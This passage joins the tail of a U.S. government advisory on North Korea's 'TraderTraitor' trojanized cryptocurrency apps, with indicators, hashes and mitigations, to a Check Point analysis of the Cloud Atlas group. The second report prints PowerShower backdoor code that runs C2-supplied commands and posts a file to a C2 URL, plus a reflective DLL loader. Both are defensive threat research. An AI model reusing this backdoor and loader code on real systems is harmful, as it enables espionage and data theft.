+applications targeting individuals and companies
+including cryptocurrency exchanges and financial
+services companies
+through the dissemination of cryptocurrency trading applications that were
+modified to include malware that facilitates theft of cryptocurrency. As of April 2022, North Korea
+Lazarus Group actors have targeted various firms, entities, and exchanges in the blockchain and
+cryptocurrency industry using spearphishing campaigns and malware to steal cryptocurrency. These
+actors will likely continue exploiting vulnerabilities of cryptocurrency technology firms, gaming
+companies, and exchanges to generate and launder funds to support the North Korean regime.
+Tactics, Techniques and Procedures
+Intrusions begin with a large number of spearphishing messages sent to employees of cryptocurrency
+companies
+often working in system administration or software development/IT operations
+(DevOps)
+on a variety of communication platforms. The messages often mimic a recruitment effort
+and offer high-paying jobs to entice the recipients to download malware-laced cryptocurrency
+applications, which the U.S. government refers to as "TraderTraitor."
+The term TraderTraitor describes a series of malicious applications written using cross-platform
+JavaScript code with the Node.js runtime environment using the Electron framework. The malicious
+applications are derived from a variety of open-source projects and purport to be cryptocurrency
+trading or price prediction tools. TraderTraitor campaigns feature websites with modern design
+advertising the alleged features of the applications (see figure 1).
+Page 2 of 14 | Product ID: A22-108A
+TLP:WHITE
+FBI | CISA | Treasury
+TLP:WHITE
+Figure 1: Screenshot of CryptAIS website
+The JavaScript code providing the core functions of the software is bundled with Webpack. Within the
+code is a function that purports to be an 
+update,
+ with a name such as UpdateCheckSync(), that
+downloads and executes a malicious payload (see figure 2).
+The update function makes an HTTP POST request to a PHP script hosted on the TraderTraitor
+project
+s domain at either the endpoint /update/ or /oath/checkupdate.php. In recent variants, the
+server
+s response is parsed as a JSON document with a key-value pair, where the key is used as an
+AES 256 encryption key in Cipher Block Chaining (CBC) or Counter (CTR) mode to decrypt the value.
+The decrypted data is written as a file to the system
+s temporary directory, as provided by the
+os.tmpdir() method of Node.js, and executed using the child_process.exec() method of
+Node.js, which spawns a shell as a child process of the current Electron application. The text 
+Update
+Finished
+ is then logged to the shell for the user to see.
+Observed payloads include updated macOS and Windows variants of Manuscrypt, a custom remote
+access trojan (RAT), that collects system information and has the ability to execute arbitrary
+commands and download additional payloads (see North Korean Remote Access Tool:
+COPPERHEDGE). Post-compromise activity is tailored specifically to the victim
+s environment and at
+times has been completed within a week of the initial intrusion.
+Page 3 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+Figure 2: Screenshot depicting the UpdateCheckSync() and supporting functions bundled within
+60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18 associated with DAFOM
+Page 4 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+Indicators of Compromise
+DAFOM
+DAFOM purports to be a 
+cryptocurrency portfolio application.
+ A Mach-O binary packaged within the
+Electron application was signed by an Apple digital signature issued for the Apple Developer Team
+W58CYKFH67. The certificate associated with Apple Developer Team W58CYKFH67 has been
+revoked. A metadata file packaged in the DAFOM application provided the URL
+hxxps://github[.]com/dafomdev for bug reports. As of April 2022, this page was unavailable.
+dafom[.]dev
+Information as of February 2022:
+IP Address: 45.14.227[.]58
+Registrar: NameCheap, Inc.
+Created: February 7, 2022
+Expires: February 7, 2023
+60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18
+Tags: dropper macos
+Name: DAFOM-1.0.0.dmg
+Size: 87.91 MB (92182575 bytes)
+MD5: c2ea5011a91cd59d0396eb4fa8da7d21
+SHA-1: b2d9ca7b6d1bbbe4864ea11dfca343b7e15597d8
+SHA-256: 60b3cfe2ec3100caf4afde734cfd5147f78acf58ab17d4480196831db4aa5f18
+ssdeep:
+1572864:LGLBnolF9kPEiKOabR2QEs1B1/LuUQrbecE6Xwijkca/pzpfaLtIP:LGVnoT9kPZK9tVEwBxW
+becR5Faxzpf0M
+TokenAIS
+TokenAIS purports to help 
+build a portfolio of AI-based trading
+ for cryptocurrencies. Mach-O binaries
+packaged within the Electron application contained an Apple digital signature issued for the Apple
+Developer Team RN4BTXA4SA. The certificate associated with Apple Developer Team
+RN4BTXA4SA has been revoked. The application requires users to 
+register
+ an account by entering
+an email address and a password to use its features. The malicious TraderTraitor code is a Node.js
+function called UpdateCheckSync() located in a file named update.js, which is bundled in a file
+called renderer.prod.js, which is in an archive called app.asar. This function passes the email
+address that the user provided and the system platform to the C2 server, decrypts the response using
+AES 256 in CBC mode with the hardcoded initialization vector (IV) !@34QWer%^78TYui and a key
+provided in the response, then writes the decrypted data to a file and executes it in a new shell.
+tokenais[.]com
+Information as of January 2022:
+IP Address: 199.188.103[.]115
+Page 5 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+Registrar: NameCheap, Inc.
+Created: January 27, 2022
+Expires: January 27, 2023
+5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03
+Tags: dropper macos
+Name: TokenAIS.app.zip
+Size: 118.00 MB (123728267 bytes)
+MD5: 930f6f729e5c4d5fb52189338e549e5e
+SHA-1: 8e67006585e49f51db96604487138e688df732d3
+SHA-256: 5b40b73934c1583144f41d8463e227529fa7157e26e6012babd062e3fd7e0b03
+ssdeep:
+3145728:aMFJlKVvw4+zLruAsHrmo5Vvw4+zLruAsHrmob0dC/E:aUlKtw4+/r2HNtw4+/r2HnMCM
+CryptAIS
+CryptAIS uses the same language as TokenAIS to advertise that it 
+helps build a portfolio of AI-based
+trading.
+ It is distributed as an Apple Disk Image (DMG) file that is digitally signed by an Apple digital
+signature issued for the Apple Developer Team CMHD64V5R8. The certificate associated with Apple
+Developer Team CMHD64V5R8 has been revoked. The application requires users to 
+register
+account by entering an email address and a password to use its features. The malicious TraderTraitor
+code is a Node.js function called UpdateCheckSync() located in a file named update.js, which is
+bundled in a file called renderer.prod.js, which is in an archive called app.asar. This function
+passes the email address that the user provided and the system platform to the C2 server, decrypts
+the response using AES 256 in CTR mode and a key provided in the response, then writes the
+decrypted data to a file and executes it in a new shell.
+cryptais[.]com
+Information as of August 2021:
+IP Address: 82.102.31.14
+Registrar: NameCheap, Inc.
+Created: August 2, 2021
+Expires: August 2, 2022
+f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b
+Tags: dropper macos
+Name: CryptAIS[.]dmg
+Size: 80.36 MB (84259810 bytes)
+MD5: 4e5ebbecd22c939f0edf1d16d68e8490
+SHA-1: f1606d4d374d7e2ba756bdd4df9b780748f6dc98
+SHA-256: f0e8c29e3349d030a97f4a8673387c2e21858cccd1fb9ebbf9009b27743b2e5b
+Page 6 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+ssdeep:
+1572864:jx9QOwiLDCUrJXsKMoGTwiCcKFI8jmrvGqjL2hX6QklBmrZgkZjMz+dPSpR0Xcpk:F9QOTP
+CUrdsKEw3coIg2Or6XBmrZgkZw
+AlticGO
+AlticGO was observed packaged as Nullsoft Scriptable Install System (NSIS) Windows executables
+that extracted an Electron application packaged for Windows. These executables contain a simpler
+version of TraderTraitor code in a function exported as UpdateCheckSync() located in a file named
+update.js, which is bundled in renderer.prod.js, which is in the app.asar archive. The function
+calls an external function located in a file node_modules/request/index.js bundled in
+renderer.prod.js to make an HTTP request to hxxps://www.alticgo[.]com/update/. One
+AlticGO sample, e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad,
+instead contacts hxxps://www.esilet[.]com/update/ (see below for more information about
+Esilet). Some image resources bundled with the application included the CreAI Deck logo (see below
+for more information about CreAI Deck). The response is written to disk and executed in a new shell
+using the child_process.exec() method in Node.js. Unlike newer versions of TraderTraitor, there
+is no mechanism to decrypt a payload.
+alticgo[.]com
+Information as of August 2020:
+IP Address: 108.170.55[.]202
+Registrar: NetEarth One Inc.
+Created: August 8, 2020
+Expires: August 8, 2021
+765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819
+Tags: dropper peexe nsis
+Name: AlticGO.exe
+Size: 43.54 MB (45656474 bytes)
+MD5: 1c7d0ae1c4d2c0b70f75eab856327956
+SHA-1: f3263451f8988a9b02268f0fb6893f7c41b906d9
+SHA-256: 765a79d22330098884e0f7ce692d61c40dfcf288826342f33d976d8314cfd819
+ssdeep:
+786432:optZmVDkD1mZ1FggTqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yVPUXi7:opzKD
+ginspAU6JXnJ46X+eC6cySihWVX
+Compilation timestamp: 2018-12-15 22:26:14 UTC
+e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad
+Tags: dropper peexe nsis
+Name: AlticGO_R.exe
+Size: 44.58 MB (46745505 bytes)
+MD5: 855b2f4c910602f895ee3c94118e979a
+Page 7 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+SHA-1: ff17bd5abe9f4939918f27afbe0072c18df6db37
+SHA-256: e3d98cc4539068ce335f1240deb1d72a0b57b9ca5803254616ea4999b66703ad
+ssdeep:
+786432:LptZmVDkD1mQIiXUBkRbWGtqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yH:LpzK
+DgzRpWGwpAU6JXnJ46X+eC6cySiI
+Compilation timestamp: 2020-02-12 16:15:17 UTC
+8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925
+Tags: dropper peexe nsis
+Name: AlticGO.exe
+Size: 44.58 MB (46745644 bytes)
+MD5: 9a6307362e3331459d350a201ad66cd9
+SHA-1: 3f2c1e60b5fac4cf1013e3e1fc688be490d71a84
+SHA-256: 8acd7c2708eb1119ba64699fd702ebd96c0d59a66cba5059f4e089f4b0914925
+ssdeep:
+786432:AptZmVDkD1mjPNDeuxOTKQqqLGAU6JXnjmDQ4YBXpleV0RnJYJKoSuDySLGh7yV7:Apz
+KDgqPxeuLpAU6JXnJ46X+eC6cySiG
+Compilation timestamp: 2020-02-12 16:15:17 UTC
+Esilet
+Esilet claims to offer live cryptocurrency prices and price predictions. It contains a simpler version of
+TraderTraitor code in a function exported as UpdateCheckSync() located in a file named update.js,
+which is bundled in renderer.prod.js, which is in the app.asar archive. The function calls an
+external function located in a file node_modules/request/index.js bundled in renderer.prod.js
+to make an HTTP request to hxxps://www.esilet[.]com/update/. The response is written to disk
+and executed in a new shell using the child_process.exec() method in Node.js. Unlike newer
+versions of TraderTraitor, there is no mechanism to decrypt a payload. Esilet has been observed
+delivering payloads of at least two different macOS variants of Manuscrypt,
+9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa and
+dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156.
+Page 8 of 14 | Product ID: A22-108A
+TLP:WHITE
+FBI | CISA | Treasury
+TLP:WHITE
+Figure 3: Screenshot of the UpdateCheckSync() function in Esilet
+esilet[.]com
+Information as of June 2020:
+IP Address: 104.168.98[.]156
+Registrar: NameSilo, LLC
+Created: June 12, 2020
+Expires: June 12, 2021
+greenvideo[.]nl
+Likely legitimate but compromised. Information as of April 2022:
+IP Address: 62.84.240[.]140
+Registrar: Flexwebhosting
+Created: February 26, 2018
+Expires: Unknown
+dafnefonseca[.]com
+Likely legitimate but compromised. Information as of June 2020:
+IP Address: 151.101.64[.]119
+Registrar: PublicDomainRegistry
+Page 9 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+Created: August 27, 2019
+Expires: August 27, 2022
+haciendadeclarevot[.]com
+Likely legitimate but compromised. Information as of June 2020:
+IP Address: 185.66.41[.]17
+Registrar: cdmon, 10DENCEHISPAHARD, S.L.
+Created: March 2, 2005
+Expires: March 2, 2023
+sche-eg[.]org
+Likely legitimate but compromised. Information as of June 2020:
+IP Address: 160.153.235[.]20
+Registrar: GoDaddy.com, LLC
+Created: June 1, 2019
+Expires: June 1, 2022
+www.vinoymas[.]ch
+Likely legitimate but compromised. Information as of June 2020:
+IP Address: 46.16.62[.]238
+Registrar: cdmon, 10DENCEHISPAHARD, S.L.
+Created: January 24, 2010
+Expires: Unknown
+infodigitalnew[.]com
+Likely legitimate but compromised. Information as of June 2020:
+IP Address: 107.154.160[.]132
+Registrar: PublicDomainRegistry
+Created: June 20, 2020
+Expires: June 20, 2022
+9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598
+Tags: dropper macos
+Name: Esilet.dmg
+Size: 77.90 MB (81688694 bytes)
+MD5: 53d9af8829a9c7f6f177178885901c01
+SHA-1: ae9f4e39c576555faadee136c6c3b2d358ad90b9
+SHA-256: 9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598
+ssdeep:
+1572864:lffyoUnp5xmHVUTd+GgNPjFvp4YEbRU7h8cvjmUAm4Du73X0unpXkU:lfqHBmHo+BPj9CY
+EshLqcuAX0I0
+Page 10 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa
+Tags: trojan macho
+Name: Esilet-tmpzpsb3
+Size: 510.37 KB (522620 bytes)
+MD5: 1ca31319721740ecb79f4b9ee74cd9b0
+SHA-1: 41f855b54bf3db621b340b7c59722fb493ba39a5
+SHA-256: 9d9dda39af17a37d92b429b68f4a8fc0a76e93ff1bd03f06258c51b73eb40efa
+ssdeep:
+6144:wAulcT94T94T97zDj1I/BkjhkbjZ8bZ87ZMSj71obV/7NobNo7NZTb7hMT5ETZ8I:wDskT1UBg2lir
+FbpR9mJGpmN
+C2 Endpoints:
+ hxxps://greenvideo[.]nl/wp
+content/themes/top.php
+ hxxps://dafnefonseca[.]com/wp
+content/themes/top.php
+ hxxps://haciendadeclarevot[.]com/wp
+content/top.php
+dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156
+Tags: trojan macho
+Name: Esilet-tmpg7lpp
+Size: 38.24 KB (39156 bytes)
+MD5: 9578c2be6437dcc8517e78a5de1fa975
+SHA-1: d2a77c31c3e169bec655068e96cf4e7fc52e77b8
+SHA-256: dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156
+ssdeep:
+384:sdaWs0fDTmKnY4FPk6hTyQUitnI/kmCgr7lUryESll4yg9RpEwrUifJ8ttJOdy:sdayCkY4Fei9mhy/L9
+RBrny6y
+C2 Endpoints:
+ hxxps://sche
+eg[.]org/plugins/top.php
+ hxxps://www.vinoymas[.]ch/wp
+content/plugins/top.php
+ hxxps://infodigitalnew[.]com/wp
+content/plugins/top.php
+CreAI Deck
+CreAI Deck claims to be a platform for 
+artificial intelligence and deep learning.
+ No droppers for it
+were identified, but the filenames of the below samples, win32.bin and darwin64.bin, match the
+naming conventions used by other versions of TraderTraitor when downloading a payload. Both are
+samples of Manuscrypt that contact hxxps://aideck[.]net/board.php for C2 using HTTP POST
+requests with multipart/form
+data Content-Types.
+creaideck[.]com
+Information as of March 2020:
+IP Address: 38.132.124[.]161
+Registrar: NameCheap, Inc.
+Created: March 9, 2020
+Page 11 of 14 | Product ID: A22-108A
+TLP:WHITE
+TLP:WHITE
+FBI | CISA | Treasury
+Expires: March 9, 2021
+aideck[.]net
+Information as of June 2020:
+IP Address: 89.45.4[.]151
+Registrar: NameCheap, Inc.
+Created: June 22, 2020
+Expires: June 22, 2021
+867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36
+Tags: trojan peexe
+Name: win32.bin
+Size: 2.10 MB (2198684 bytes)
+MD5: 5d43baf1c9e9e3a939e5defd8f8fbd8d
+SHA-1: d5ff73c043f3bb75dd749636307500b60a436550
+SHA-256: 867c8b49d29ae1f6e4a7cd31b6fe7e278753a1ba03d4be338ed11fd1efc7dd36
+ssdeep: 24576:y3SY+/2M3BMr7cdgSLBjbr4nzzy95VV7cEXV:ESZ2ESrHSV3D95oA
+Compilation timestamp: 2020-06-23 06:06:35 UTC
+89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957
+Tags: trojan macho
+Name: darwin64.bin
+Size: 6.44 MB (6757832 bytes)
+MD5: 8397ea747d2ab50da4f876a36d673272
+SHA-1: 48a6d5141e25b6c63ad8da20b954b56afe589031
+SHA-256: 89b5e248c222ebf2cb3b525d3650259e01cf7d8fff5e4aa15ccd7512b1e63957
+ssdeep:
+49152:KIH1kEh7zIXlDYwVhb26hRKtRwwfs62sRAdNhEJNDvOL3OXl5zpF+FqBNihzTvff:KIH1kEhI1L
+OJtm2spB
+Page 12 of 14 | Product ID: A22-108A
+TLP:WHITE
+FBI | CISA | Treasury
+TLP:WHITE
+MITIGATIONS
+North Korean state-sponsored cyber actors use a full array of tactics and techniques to exploit
+computer networks of interest, acquire sensitive cryptocurrency-intellectual property, and gain
+financial assets. The U.S. government recommends implementing mitigations to protect critical
+infrastructure organizations as well as financial sector organizations in the blockchain technology and
+cryptocurrency industry.
+Apply defense-in-depth security strategy. Apply security principles
+such as least access
+models and defense-in-depth
+to user and application privileges to help prevent exploitation
+attempts from being successful. Use network segmentation to separate networks into zones
+based on roles and requirements. Separate network zones can help prevent lateral movement
+throughout the organization and limit the attack surface. See NSA
+s Top Ten Cybersecurity
+Mitigation Strategies for strategies enterprise organizations should use to build a defense-indepth security posture.
+Implement patch management. Initial and follow-on exploitation involves leveraging common
+vulnerabilities and exposures (CVEs) to gain access to a networked environment.
+Organizations should have a timely vulnerability and patch management program in place to
+mitigate exposure to critical CVEs. Prioritize patching of internet-facing devices and monitored
+accordingly for any malicious logic attacks.
+Enforce credential requirements and multifactor authentication. North Korean malicious
+cyber actors continuously target user credentials, email, social media, and private business
+accounts. Organizations should ensure users change passwords regularly to reduce the
+impact of password spraying and other brute force techniques. The U.S. government
+recommends organizations implement and enforce multifactor authentication (MFA) to reduce
+the risk of credential theft. Be aware of MFA interception techniques for some MFA
+implementations and monitor for anomalous logins.
+Educate users on social engineering on social media and spearphishing. North Korean
+actors rely heavily on social engineering, leveraging email and social media platforms to build
+trust and send malicious documents to unsuspecting users. A cybersecurity aware workforce
+is one of the best defenses against social engineering techniques like phishing. User training
+should include how to identify social engineering techniques and awareness to only open links
+and attachments from trusted senders.
+Implement email and domain mitigations. Maintain awareness of themed emails
+surrounding current events. Malicious cyber actors use current events as lure for potential
+victims as observed during the COVID-19 pandemic. Organizations should have a robust
+domain security solution that includes leveraging reputation checks and closely monitoring or
+blocking newly registered domains (NRDs) in enterprise traffic. NRDs are commonly
+established by threat actors prior to malicious engagement.
+o HTML and email scanning. Organizations should disable HTML from being used in
+emails and scan email attachments. Embedded scripts may be hard for an antivirus
+product to detect if they are fragmented. An additional malware scanning interface
+product can be integrated to combine potentially malicious payloads and send the
+payload to the primary antivirus product. Hyperlinks in emails should also be scanned
+Page 13 of 14 | Product ID: A22-108A
+TLP:WHITE
+FBI | CISA | Treasury
+TLP:WHITE
+and opened with precautionary measures to reduce the likelihood of a user clicking on
+a malicious link.
+Endpoint protection. Although network security is critical, devices mobility often means
+traveling and connecting to multiple different networks that offer varying levels of security. To
+reduce the risk of introducing exposed hosts to critical networks, organizations should ensure
+mobile devices have installed security suites to detect and mitigate malware.
+Enforce application security. Application allowlisting enables the organization to monitor
+programs and only allow those on the approved allowlist to execute. Allowlisting helps to stop
+the initial attack, even if the user clicks a malicious link or opens a malicious attachment.
+Implement baseline rule sets, such as NSA
+s Limiting Location Data Exposure guidance, to
+block execution of unauthorized or malicious programs.
+o Disable macros in office products. Macros are a common method for executing
+code through an attached office document. Some office products allow for the
+disabling of macros that originate from outside of the organization, providing a hybrid
+approach when the organization depends on the legitimate use of macros.
+ Windows specific settings can be configured to block internet-originated
+macros from running. This can be done in the Group Policy Administrative
+Templates for each of the associated Office products (specifically Word, Excel
+and PowerPoint). Other productivity software, such as LibreOffice and
+OpenOffice, can be configured to set the Macro Security Level.
+Be aware of third-party downloads
+especially cryptocurrency applications. North Korean
+actors have been increasingly active with currency generation operations. Users should
+always verify file downloads and ensure the source is from a reputable or primary (preferred)
+source and not from a third-party vendor. Malicious cyber actors have continuously
+demonstrated the ability to trojanize applications and gain a foothold on host devices.
+Create an incident response plan to respond to possible cyber intrusions. The plan should
+include reporting incidents to both the FBI and CISA
+quick reporting can reduce the severity
+of incidents and provide valuable information to investigators. Contact information can be
+found below.
+CONTACT
+All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center
+at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI
+s 24/7
+CyWatch at (855) 292-3937 or CyWatch@fbi.gov.
+DISCLAIMER
+The information in this advisory is provided "as is" for informational purposes only. The FBI, CISA,
+and Treasury do not provide any warranties of any kind regarding this information or endorse any
+commercial product or service, including any subjects of analysis.
+Page 14 of 14 | Product ID: A22-108A
+TLP:WHITE
+Cloud Atlas targets entities in Russia and Belarus amid
+the ongoing war in Ukraine
+research.checkpoint.com/2022/cloud-atlas-targets-entities-in-russia-and-belarus-amid-the-ongoing-war-in-ukraine
+December 9, 2022
+Introduction
+Cloud Atlas (or Inception) is a cyber-espionage group. Since its discovery in 2014, they
+have launched multiple, highly targeted attacks on critical infrastructure across geographical
+zones and political conflicts. The group
+s tactics, techniques and procedures (TTPs) have
+remained relatively static over the years. However, since the rapid escalation of the conflict
+between Russia and Ukraine in 2021 and especially after the outbreak of war in February
+2022, the scope of the group
+s activities has narrowed significantly, with a clear focus on
+Russia, Belarus and conflicted areas in Ukraine and Moldova. Some evidence discovered
+while monitoring the group
+s latest activities indicates that the group carried out a few
+successful intrusions and managed to gain full access to some of the targeted environments.
+In this publication, we discuss the tools, TTPs and victimology of Cloud Atlas in the last year.
+Interestingly, in addition to the usual malware used by Cloud Atlas, we discovered a new,
+previously never discussed tool: the group installs not only their signature modular
+espionage framework on the infected systems, but also uses the DLL to proxy connections
+through the victims
+ machines.
+While we finalized this blogpost, another technical analysis of Cloud Atlas activity was
+published. While it overlaps with our findings to some extent, we believe that this report
+provides the additional information, insights and clarifications regarding the actors
+operations.
+Victimology
+The group
+s victims shift with the escalation of the political situation around Ukraine. In
+2020-2021 the targets we observed included a wide range of ministries, diplomatic entities
+and industrial targets across the globe, including Western and Southeast Asia and Europe
+(especially, but not only Eastern Europe). However, toward the end of 2021, amid the rising
+tensions between Russia and Ukraine, the focus of the group shifted to the Crimean
+Peninsula and breakaway regions of Ukraine, Luhansk and Donetsk, as well as government,
+diplomatic, research and industry entities of Russia and Belarus.
+In March-April 2022, Cloud Atlas was observed targeting entities in the pro-Russian
+Transnistria breakaway region of Moldova, officially known as the Transnistrian Moldavian
+Republic, where tensions were escalating amid fears that Russia would try to extend its
+1/14
+sovereignty to Transnistria or use the republic
+s territories for an offensive against Ukraine.
+Since June 2022, we have seen multiple persistent campaigns focused on very specific targets
+in Belarus, mainly in its transportation and military radio-electronics sectors, and in Russia,
+including the government sector, energy and metal industries. The actors are also
+maintaining their focus on the Russian-annexed Crimean Peninsula, Lugansk and Donetsk
+regions.
+Initial infection
+Cloud Atlas has used spear-phishing emails containing malicious attachments as their initial
+attack vector for many years. They mostly use public email services like Yandex, Mail.ru and
+Outlook.com, but in some cases also attempted to spoof the existing domains of other entities
+that are likely to be trusted by the target.
+Figure 1 
+ Example of spear-phishing email (subject: 
+The Diplomatic
+Academy of the Ministry of Foreign Affairs, Diplomatic Service and Practice
+Journal
+) sent by Cloud Atlas to one of the Russian ministries.
+The email attachment is usually a Microsoft Office document which retrieves a malicious
+remote template from the attackers
+ servers. The lures of these documents are carefully
+tailored to the target. We observed a variety of weaponized documents ranging from
+governmental documents to publicly available reports and articles, including business
+proposals and advertisements.
+2/14
+Figure 2 
+ Examples of lure documents targeting Belarussian entities: A
+description of the 
+Comprehensive analysis of the economic and financial
+activities of a commercial organization
+ course from Belarusian State
+Economic University (left) and the advertisement of the company specialized
+in office equipment (right).
+3/14
+Figure 3 
+ Examples of lure documents used by CloudAtlas against
+government and energy sectors. (Resolution of the government of the Russian
+Federation on the application of legislation in the field of atomic energy in the
+Zaporozhye region, on the right.)
+The remote templates are RTF documents that exploit 5-year-old vulnerabilities in Microsoft
+Equation Editor, such as CVE-2017-11882 and CVE-2018-0802. For both external templates
+and the later stages of the campaign, the attackers closely control who can access them by
+whitelisting the targets. This is a known technique used by Cloud Atlas to collect the IP
+information of the victims by first sending them reconnaissance documents, which do not
+contain any malicious functionality aside from fingerprinting the victim. Whitelisting can be
+easily performed in those cases where the targeted entities are large enough to have their
+own ASN. The use of whitelisting significantly decreases the chances of the malicious
+components executing in sandboxes or research environments.
+PowerShower backdoor
+The next stage of a Cloud Atlas attack is usually a PowerShell-based backdoor called
+PowerShower. PowerShower is stored on the disk with simple obfuscation of Base64encoding and string concatenation:
+Figure 4 
+ Example of PowerShower backdoor obfuscation.
+The PowerShower versions that we observed during our research included a thinner
+functionality compared to older versions, but the backdoor remained essentially unchanged,
+including function names, such as HttpRequestG , HttpRequestP , and dec64 that can
+be tracked through the different versions.
+Once PowerShower is up and running, it mainly waits for further instructions from the
+Command and Control (C&C) server. It may save a zip file sent from the server to
+%TEMP%\PG.zip or execute PowerShell commands that are sent embedded in an XML file
+in a Base64-encoded format:
+$xmlfile = (gi $env:temp).fullname + "\\temp.xml";
+4/14
+[io.file]::WriteAllBytes($xmlfile, $result);
+$content = Get-Content $xmlfile;
+[xml]$doc = $content;
+$command = dec64($doc.model.ps);
+Invoke-Expression $command;
+Remove-Item $xmlfile -force;
+Figure 5 
+ PowerShower piece of code that handles parsing XML and
+PowerShell command execution.
+One of the recent changes introduced in PowerShower is proxy awareness: if a proxy is
+enabled on the infected machine, the malware uses it when issuing the requests to the C&C
+server. In addition, the script now sends some basic data about the victim
+s machine (OS
+major and minor versions and PowerShell version) in the User-Agent header of the POST
+request:
+Function HttpRequestP($url)
+$all="";
+$p_t = (gi $env:temp).fullname + "\pass.txt";
+$content = [io.file]::ReadAllText($p_t);
+Remove-Item $p_t -force -recurse;
+$all=$content;
+$http_request = New-Object -ComObject Msxml2.ServerXMLHTTP.6.0;
+$http_request.open("POST", $url, $false);
+$http_request.setOption(2,$http_request.getOption(2));
+$pr = Get-ItemProperty -Path
+"HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings\";
+if ( $pr.ProxyEnable -eq "1")
+5/14
+$http_request.setProxy(2, $pr.ProxyServer);
+$psv = $PSVersionTable.PSVersion.Major;
+$wvmajor = [Environment]::OSVersion.Version.Major;
+$wvminor = [Environment]::OSVersion.Version.Minor;
+$http_request.SetRequestHeader("User-Agent", "Mozilla/4.0 (compatible; MSIE 7.0;
+Windows NT " + $wvmajor + "." + $wvminor + "; PS " + $psv + ".00)");
+$http_request.send("$all");
+return $http_request.status;
+Figure 6 
+ PowerShower proxy handling and User-Agent string
+concatenation.
+RtcpProxy Tool
+One of the interesting payloads received by PowerShower is a script called office.ps1 .
+This script reflectively loads in memory and runs the StartMainXor function from the
+.NET DLL stored in the script compressed and Base64-encoded.
+$dll_compressed_base64="H4sIAAAAAAA<truncated>"
+$dll_compressed=[System.Convert]::FromBase64String($dll_compressed_base64)
+$ms=New-ObjectSystem.IO.MemoryStream(,$dll_compressed)
+$cs=New-ObjectSystem.IO.Compression.GzipStream($ms,
+[IO.Compression.CompressionMode]::Decompress)
+$br=New-ObjectSystem.IO.BinaryReader($cs)
+$dll_content=$br.ReadBytes(10485760)
+$br.Close()
+$cs.Close()
+$ms.Close()
+6/14
+[System.Reflection.Assembly]::Load($dll_content)
+#$content_bytes=[tcp_ssl_simple.NetTcpSsl]::StartHello()
+#[abcd.Service]::StartHello()
+// Prototype:
+// StartMainXor(string host, string port, int number, int reconnect_sleep, int
+time_stop_delay_seconds, string hexkey)
+$content_bytes=[abcd.Service]::StartMainXor("<server_address>", "11171", 10, 7000, 15 *
+60, "010203BADC0DEF")
+write-host"DoneTest"
+This DLL is internally called rtcpsvc.dll and is responsible for relaying commands
+between two different servers. This DLL is likely a part of a sequence of proxies used by the
+attackers. There were multiple past reports that the actors heavily relied on a world-wide
+proxy network, however, it was never mentioned that they achieved this with DLLs on
+Windows. Setting proxies within compromised environments might also in some cases allow
+the actors to penetrate high profile targets while reducing the risk of their network activity
+being discovered or blocked, as the network activity is associated with trusted sources inside
+the country or industry.
+The communication between the DLL and the hosts can be XOR-encrypted, depending on if
+the DLL was executed with a key parameter or without. In all the cases we analyzed, the
+same key 
+ 010203BADC0DEF 
+ was used for the XOR-encryption. Other parameters that are
+provided to launch the DLL include the host and port of the remote peer, the number of
+connections, and the amount of time to sleep before reconnecting.
+7/14
+Figure 7 
+ Overview of the Communication class responsible for
+communication between two peers.
+The DLL reaches out to the specified remote host ( Left ) and receives 4 bytes in response.
+These bytes specify the length of the next message (command) to be received. It then
+connects again to the host and expects an XML response with the connect command. This
+XML response should contain the host and port of another ( Right ) peer. The DLL
+connects to the second host as well, notifies the first host of success, and starts to relay
+messages between them.
+8/14
+Figure 8 
+ Function responsible for sending the connect result in XML format
+to the 
+Left
+ peer.
+Similar to the command execution status sent to the peers, the relayed messages themselves
+are also in XML format, as well as the commands received by the PowerShower backdoor.
+Modular espionage framework
+Interestingly, the actors made no significant changes in the core of their modular backdoor in
+the seven years after its discovery in 2014 by Kaspersky and Symantec. As described in the
+aforementioned reports, we observed multiple samples of Cloud Atlas
+ modular backdoor.
+Each is an obfuscated DLL accompanied by an encrypted file, with both DLL and data files
+named using random words. For example, a DLL named beachmaster.dll was
+accompanied by an encrypted file named examinere . Each DLL has multiple randomlynamed export functions, only one of which is relevant. When the relevant export function is
+called, the DLL begins to decrypt and load an embedded PE file. The loaded PE file then
+XOR-decrypts a hardcoded struct that instructs it how to decrypt the companion file. For
